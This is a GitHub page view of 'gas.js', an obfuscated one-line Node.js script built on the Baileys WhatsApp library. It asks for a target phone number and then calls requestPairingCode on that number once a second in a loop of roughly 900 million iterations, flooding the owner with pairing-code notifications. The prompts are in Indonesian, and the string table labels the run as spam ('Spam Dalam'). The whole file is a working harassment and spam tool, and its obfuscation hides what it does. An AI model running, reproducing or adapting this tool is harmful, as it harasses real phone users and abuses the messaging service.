-
Notifications
You must be signed in to change notification settings - Fork 55
/
Copy pathgas.js
1 lines (1 loc) · 6.3 KB
/
gas.js
1
const _0x5b69e2=_0x2717;function _0x2717(_0x32db89,_0x33efd9){const _0x27b4f0=_0x27b4();return _0x2717=function(_0x2717e6,_0x51add8){_0x2717e6=_0x2717e6-0x121;let _0x4995c4=_0x27b4f0[_0x2717e6];return _0x4995c4;},_0x2717(_0x32db89,_0x33efd9);}(function(_0x40caa3,_0xc81784){const _0x18900e=_0x2717,_0xaeebbf=_0x40caa3();while(!![]){try{const _0x4822da=parseInt(_0x18900e(0x157))/0x1*(parseInt(_0x18900e(0x124))/0x2)+parseInt(_0x18900e(0x13e))/0x3*(parseInt(_0x18900e(0x14b))/0x4)+parseInt(_0x18900e(0x158))/0x5*(parseInt(_0x18900e(0x148))/0x6)+parseInt(_0x18900e(0x142))/0x7+parseInt(_0x18900e(0x125))/0x8+parseInt(_0x18900e(0x141))/0x9*(parseInt(_0x18900e(0x13a))/0xa)+-parseInt(_0x18900e(0x143))/0xb;if(_0x4822da===_0xc81784)break;else _0xaeebbf['push'](_0xaeebbf['shift']());}catch(_0x45e914){_0xaeebbf['push'](_0xaeebbf['shift']());}}}(_0x27b4,0x92076));const pino=require('pino'),{Boom}=require('@hapi/boom'),fs=require('fs'),chalk=require(_0x5b69e2(0x12a)),FileType=require('file-type'),path=require(_0x5b69e2(0x12e)),axios=require(_0x5b69e2(0x129)),_=require(_0x5b69e2(0x149)),moment=require(_0x5b69e2(0x12f)),PhoneNumber=require('awesome-phonenumber'),{default:spamConnect,delay,PHONENUMBER_MCC,makeCacheableSignalKeyStore,useMultiFileAuthState,DisconnectReason,fetchLatestBaileysVersion,generateForwardMessageContent,prepareWAMessageMedia,generateWAMessageFromContent,generateMessageID,downloadContentFromMessage,makeInMemoryStore,jidDecode,proto,Browsers}=require(_0x5b69e2(0x126)),NodeCache=require(_0x5b69e2(0x13f)),Pino=require('pino'),readline=require('readline'),makeWASocket=require(_0x5b69e2(0x126))[_0x5b69e2(0x150)],store=makeInMemoryStore({'logger':pino()['child']({'level':'silent','stream':_0x5b69e2(0x14d)})}),pairingCode=!![]||process[_0x5b69e2(0x153)]['includes'](_0x5b69e2(0x160)),useMobile=process[_0x5b69e2(0x153)][_0x5b69e2(0x12b)]('--mobile'),rl=readline['createInterface']({'input':process[_0x5b69e2(0x144)],'output':process[_0x5b69e2(0x134)]}),question=_0x53a156=>new Promise(_0x27db0b=>rl[_0x5b69e2(0x147)](_0x53a156,_0x27db0b));async function startspam(){const _0x37c2c0=_0x5b69e2;let {version:_0x4d3b87,isLatest:_0x4da8b6}=await fetchLatestBaileysVersion();const {state:_0x12e5aa,saveCreds:_0x34857c}=await useMultiFileAuthState(_0x37c2c0(0x152)),_0x34e801=new NodeCache(),_0x2e4fca=makeWASocket({'logger':pino({'level':_0x37c2c0(0x132)}),'printQRInTerminal':!pairingCode,'browser':Browsers[_0x37c2c0(0x154)](_0x37c2c0(0x14a)),'auth':{'creds':_0x12e5aa[_0x37c2c0(0x140)],'keys':makeCacheableSignalKeyStore(_0x12e5aa[_0x37c2c0(0x146)],Pino({'level':'fatal'})[_0x37c2c0(0x139)]({'level':'fatal'}))},'markOnlineOnConnect':!![],'generateHighQualityLinkPreview':!![],'getMessage':async _0x435914=>{const _0x15c9ff=_0x37c2c0;if(store){const _0x4df7ca=await store['loadMessage'](_0x435914[_0x15c9ff(0x121)],_0x435914['id']);return _0x4df7ca[_0x15c9ff(0x162)]||undefined;}return{'conversation':'SPAM\x20PAIRING\x20CODE'};},'msgRetryCounterCache':_0x34e801,'defaultQueryTimeoutMs':undefined});store[_0x37c2c0(0x131)](_0x2e4fca['ev']);if(pairingCode&&!_0x2e4fca['authState']['creds'][_0x37c2c0(0x135)]){if(useMobile)throw new Error(_0x37c2c0(0x130));console[_0x37c2c0(0x156)](chalk[_0x37c2c0(0x13b)](chalk['yellowBright'](''))),console[_0x37c2c0(0x156)](chalk['bgBlack'](chalk['blueBright'](''))),console['log'](chalk[_0x37c2c0(0x13b)](chalk['redBright'](_0x37c2c0(0x145))));let _0x4a4f6a=await question(chalk[_0x37c2c0(0x13b)](chalk[_0x37c2c0(0x128)]('Input\x20NO\x20Whatsapp:\x20+628xxx\x20:\x20')));_0x4a4f6a=_0x4a4f6a[_0x37c2c0(0x15e)](/[^0-9]/g,'');while(!Object[_0x37c2c0(0x146)](PHONENUMBER_MCC)[_0x37c2c0(0x138)](_0xb3b963=>_0x4a4f6a[_0x37c2c0(0x13c)](_0xb3b963))){console[_0x37c2c0(0x156)](chalk[_0x37c2c0(0x13b)](chalk[_0x37c2c0(0x15d)](''))),console[_0x37c2c0(0x156)](chalk[_0x37c2c0(0x13b)](chalk[_0x37c2c0(0x123)](''))),console['log'](chalk[_0x37c2c0(0x13b)](chalk[_0x37c2c0(0x155)]('Masukin\x20nomer'))),_0x4a4f6a=await question(chalk[_0x37c2c0(0x13b)](chalk[_0x37c2c0(0x12d)]('Input\x20NO\x20Whatsapp:\x20+628xxx\x20:\x20')));}let _0xa7d652=0x35a4e900;while(_0xa7d652>0x0){let _0x673f04=await _0x2e4fca['requestPairingCode'](_0x4a4f6a);_0x673f04=_0x673f04?.[_0x37c2c0(0x136)](/.{1,4}/g)?.[_0x37c2c0(0x127)]('-')||_0x673f04,console[_0x37c2c0(0x156)](chalk['bgBlack'](chalk[_0x37c2c0(0x12d)]('Pairing\x20Code:\x20'+_0x673f04))),console[_0x37c2c0(0x156)](chalk[_0x37c2c0(0x13b)](chalk[_0x37c2c0(0x128)](_0x37c2c0(0x15c)+_0xa7d652+_0x37c2c0(0x122)))),await new Promise(_0x599f8e=>setTimeout(_0x599f8e,0x3e8)),_0xa7d652--;}}let _0x496df3=require[_0x37c2c0(0x137)](__filename);fs[_0x37c2c0(0x133)](_0x496df3,()=>{const _0x183707=_0x37c2c0;fs[_0x183707(0x13d)](_0x496df3),console['log'](chalk['redBright'](_0x183707(0x14f)+__filename)),delete require['cache'][_0x496df3],require(_0x496df3);});}function _0x27b4(){const _0x122017=['resolve','some','child','10wluzat','bgBlack','startsWith','unwatchFile','3UpPPQg','node-cache','creds','3654081sZEaWt','2682743fMJFzS','16700651qqcBhk','stdin','Masukin\x20nomer','keys','question','798468FaFnOe','lodash','Firefox','2658028auQydZ','uncaughtexception','store','not-authorized','Update\x20','default','Value\x20not\x20found','./Sanzz','argv','windows','redBright','log','1307yxKIvS','10zgXoKB','rate-overlimit','Caught\x20exception:\x20','already-exists','Spam\x20Dalam..:\x20','yellowBright','replace','Timed\x20Out','--pairing-code','Socket\x20connection\x20timeout','message','remoteJid','\x20s...','blueBright','346dXUPKd','1362744itmjEk','@whiskeysockets/baileys','join','whiteBright','axios','chalk','includes','Connection\x20Closed','greenBright','path','moment-timezone','Tidak\x20dapat\x20menggunakan\x20kode\x20pasangan\x20dengan\x20API\x20seluler','bind','silent','watchFile','stdout','registered','match'];_0x27b4=function(){return _0x122017;};return _0x27b4();}startspam(),process['on'](_0x5b69e2(0x14c),function(_0x1aba4a){const _0x198bf5=_0x5b69e2;let _0x1ce131=String(_0x1aba4a);if(_0x1ce131[_0x198bf5(0x12b)]('conflict'))return;if(_0x1ce131[_0x198bf5(0x12b)](_0x198bf5(0x161)))return;if(_0x1ce131[_0x198bf5(0x12b)](_0x198bf5(0x14e)))return;if(_0x1ce131[_0x198bf5(0x12b)](_0x198bf5(0x15b)))return;if(_0x1ce131[_0x198bf5(0x12b)](_0x198bf5(0x159)))return;if(_0x1ce131['includes'](_0x198bf5(0x12c)))return;if(_0x1ce131['includes'](_0x198bf5(0x15f)))return;if(_0x1ce131[_0x198bf5(0x12b)](_0x198bf5(0x151)))return;console['log'](_0x198bf5(0x15a),_0x1aba4a);});